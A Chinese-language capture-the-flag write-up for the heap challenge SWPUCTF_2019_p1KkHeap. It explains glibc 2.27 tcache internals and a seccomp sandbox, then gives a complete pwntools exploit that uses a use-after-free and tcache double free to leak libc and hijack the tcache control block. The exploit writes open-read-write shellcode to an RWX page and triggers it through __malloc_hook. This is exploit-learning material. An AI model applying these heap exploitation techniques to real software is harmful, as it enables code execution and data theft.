SWPUCTF_2019_p1KkHeap
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
本题学习了新姿势,劫持tcache控制块,并且tcache_count无符号比较
先看tcache的源码,然后再分析本题(这里直接拿N1ch0l4s佬的解析了)(传送门)
// tcache结构定义中的部分代码
#if USE_TCACHE
/* Maximum number of buckets to use. */
size_t tcache_bins;
size_t tcache_max_bytes;
/* Maximum number of chunks in each bucket. */
size_t tcache_count; (注意这里是size_t,是unsigned类型)
/* Maximum number of chunks to remove from the unsorted list, which
aren't used to prefill the cache. */
size_t tcache_unsorted_limit;
#endif
//从tcache中取出chunk的代码
/* Caller must ensure that we know tc_idx is valid and there's
available chunks to remove. */
static __always_inline void *
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
assert (tc_idx < TCACHE_MAX_BINS);
assert (tcache->counts[tc_idx] > 0);
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
e->key = NULL;
return (void *) e;
}
// 往tcache中放入chunk时的代码
#if USE_TCACHE
{
size_t tc_idx = csize2tidx (size);
if (tcache
&& tc_idx < mp_.tcache_bins
&& tcache->counts[tc_idx] < mp_.tcache_count)
(注意这里将counts和tcache->counts相比,而tcache->counts是有符号的)
{
tcache_put (p, tc_idx);
return;
}
}
#endif
是无符号数跟有符号数大小比较,会将有符号数变成无符号数再两者比较,如果我们通过一些手段,将tcache_count,变成负数,我们释放掉的chunk就不会再放入tcache
回到本题
================================================================================
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x09 0xc000003e if (A != ARCH_X86_64) goto 0011
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x07 0x00 0x40000000 if (A >= 0x40000000) goto 0011
0004: 0x15 0x06 0x00 0x0000003b if (A == execve) goto 0011
0005: 0x15 0x00 0x04 0x00000001 if (A != write) goto 0010
0006: 0x20 0x00 0x00 0x00000024 A = count >> 32 # write(fd, buf, count)
0007: 0x15 0x00 0x02 0x00000000 if (A != 0x0) goto 0010
0008: 0x20 0x00 0x00 0x00000020 A = count # write(fd, buf, count)
0009: 0x15 0x01 0x00 0x00000010 if (A == 0x10) goto 0011
0010: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0011: 0x06 0x00 0x00 0x00000000 return KILL
开了一个沙盒,禁用了execve,也就是无法使用onegadget,只能使用orw把flag,write出来
在沙盒里面开辟了空间并且给出了7的权限
( mmap((void *)0x66660000, 0x1000uLL, 7, 34, -1, 0LL) != (void *)1717960704 )
只要我们在0x66660000
写入shellcode,然后执行,通过malloc
或者free
执行
int ADD()
{
int v1; // [rsp+4h] [rbp-Ch]
size_t size; // [rsp+8h] [rbp-8h]
printf("size: ");
size = (int)READ();
if ( size > 0x100 )
BYEBYE();
v1 = sub_DA9();
if ( v1 <= 7 )
{
BSSMALLOC[v1] = malloc(size);
BSSSIZE[v1] = size;
}
return puts("Done!");
}
只能申请不大于0x100
的chunk,并且申请的chunk不能大于7
int DELE()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]
if ( dword_202020 <= 0 )
BYEBYE();
printf("id: ");
v1 = (int)READ();
if ( v1 > 7 )
BYEBYE();
free((void *)BSSMALLOC[v1]);
BSSSIZE[v1] = 0;
--dword_202020;
return puts("Done!");
}
dele这里,首先只能dele3次,然后存在uaf,只清空了存size的指针
int EDIT()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]
printf("id: ");
v1 = (int)READ();
if ( v1 > 7 )
BYEBYE();
printf("content: ");
read(0, *((void **)&BSSMALLOC + v1), BSSSIZE[v1]);
return puts("Done!");
}
edit这里,因为我们dele会将BSSSIZE清空掉,所以我们必须得申请之后才能edit
int SHOW()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]
printf("id: ");
v1 = (int)READ();
if ( v1 > 7 )
BYEBYE();
printf("content: ");
puts((const char *)BSSMALLOC[v1]);
return puts("Done!");
}
show这里,因为没清空掉指向chunk的指针,所以我们直接利用uaf,dele之后也能show出来,从而泄露libc等
思路
本题部署在libc-2.27
,并且能使用tcache double free
利用tcache double free
,我们能将tcache
的链表变成循环链表,并且能tcache_count
变成负数
然后我们申请unsortedbin
范围的chunk
,dele掉即可获得libc
在此之中我们也能泄露得到heapbase
,然后通过修改tcache
的fd
,达到指向任意地址
然后通过写orw_shellcode
,写至0x66660000
,
最后通过malloc_hook
,free_hook
执行0x66660000
exp:
from pwn import*
from Yapack import *
libc=ELF('libc.so.6')
context(os='linux', arch='amd64',log_level='debug')
r,elf=rec("node4.buuoj.cn",28206,"./pwn",0)
add(0x90)#0
dele(0)
dele(0)
show(0)
ru(b'content: ')
heap=u64(r.recv(6).ljust(8, b'\x00'))+0x90-0x260
li(heap)
add(0x90)#1
edit(1,p64(heap))
add(0x90)#2
add(0x90)#3 #已经申请到tcache上面了
add(0x40)#4
dele(0)
show(0)
leak=get_addr_u64(b'content: ')-96-0x10-libc.sym["__malloc_hook"]
li(leak)
malloc=mallochook(leak)
edit(3,p64(0x66660000)) #<----------此时已经改好了
add(0x90)#5 #将0x66660000申请过来
orw_shellcode = asm(shellcraft.open('flag') + shellcraft.read('rax', 0x66660000 + 0x100, 0x30) + shellcraft.write(1, 0x66660000 + 0x100, 0x30))
edit(5,orw_shellcode) #在0x66660000写入shellcode
edit(3,p64(malloc)) #再利用tcache的指针,把malloc_hook申请出来
add(0x90)#6
edit(6,p64(0x66660000)) #将malloc变成执行0x66660000
add(0)
ia()
箭头所指的地方,补图了解
这里已经将tcache所指向的的下一块地址改好了